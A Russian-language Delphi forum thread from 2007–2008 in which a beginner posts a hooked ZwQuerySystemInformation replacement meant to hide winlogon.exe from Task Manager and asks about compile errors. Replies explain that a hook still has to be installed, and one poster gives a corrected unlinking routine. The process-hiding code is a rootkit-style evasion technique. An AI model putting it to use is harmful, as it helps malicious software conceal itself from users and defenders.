Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Delphi: WinAPI и системное программирование > API --- не работает код


Автор: SneG0K 19.12.2007, 21:13
Я тут решил сделать следующий шаг в программировании на дельфях и решил взяться за API

Код

Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
                                     ASystemInformation: Pointer;
                                     ASystemInformationLength: dword;
                                     AReturnLength: PCardinal): NTStatus; stdcall;
var
 Info, Prev: PSYSTEM_PROCESSES;
begin
 Result := TrueZwQuerySystemInformation(ASystemInformationClass,
                                        ASystemInformation,
                                        ASystemInformationLength,
                                        AReturnLength);

 if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
    (Result = STATUS_SUCCESS) then
    begin
      Info := ASystemInformation;
      while(Info^.NextEntryDelta > 0) do
       begin
         Prev := Info;
         Info := pointer(dword(Info) + Info^.NextEntryDelta);
         if lstrcmpiw(Info^.ProcessName.Buffer, 'winlogon.exe') = 0 then
           Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
       end;
    end;
end;



Этот код должен скрывать винлогон из диспетчера, но при компилировании вылетают ошибки..... помогите разобраться smile 

Автор: Exai1e 19.12.2007, 21:56
SneG0K, 
Не забывай писать текст ошибок ;)

Автор: Riply 19.12.2007, 22:22
Цитата(SneG0K @  19.12.2007,  21:13 Найти цитируемый пост)
Этот код должен скрывать винлогон из диспетчера, но при компилировании вылетают ошибки


Если ты не в состоянии сам разобраться с ошибками при "компилировании",
то IMHO рано браться за перхват API.
Может, сначала, книжки почитать ?

По сабжу: внешне все выглядит пристойно (не компилировала).
Смотри как у тебя определены используемые структуры и констаниы.

Автор: ASGDeveloper 20.12.2007, 13:10
Цитата(SneG0K @  19.12.2007,  21:13 Найти цитируемый пост)
Этот код должен скрывать винлогон из диспетчера, но при компилировании вылетают ошибки..... помогите разобраться 

Этот код никого не скрывает, это просто код перехватчика. Для того, чтобы произошло скрытие нужно поставить хук на функцию ZwQuerySystemInformation.

И вообще нужно немного по-другому составить код:
Код

Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength: PCardinal): NTStatus; stdcall;
var
Info, Prev: PSYSTEM_PROCESSES;
begin
Result := TrueZwQuerySystemInformation(ASystemInformationClass,
ASystemInformation,
ASystemInformationLength,
AReturnLength);

if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
(Result = STATUS_SUCCESS) then
begin
Info := ASystemInformation;
while(Info^.NextEntryDelta > 0) do
begin
Prev := Info;
Info := pointer(dword(Info) + Info^.NextEntryDelta);
if lstrcmpiw(Info^.ProcessName.Buffer, 'winlogon.exe') = 0 then
if Info^.NextEntryDelta=0 then
Prev^.NextEntryDelta:=0
else
Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
end;
end;
end;
end;

Потому что, если скрываемый процесс последний в списке, то Info^.NextEntryDelta=0 и строка Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta; ничего не делает

В аттаче рабочий вариант скрытия винлогона.

Автор: Yanis 12.1.2008, 22:19
ASGDeveloper
За такое форматирование надо ставить в угол.

Автор: ama_kid 12.1.2008, 23:50
Цитата(SneG0K @  19.12.2007,  21:13 Найти цитируемый пост)
Я тут решил сделать следующий шаг в программировании на дельфях и решил взяться за API
Как-то не с того конца ты решил взяться  smile Я, помнится, начинал с банального создания окон и работы с сообщениями... А ты - сразу за перехват...  smile 

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)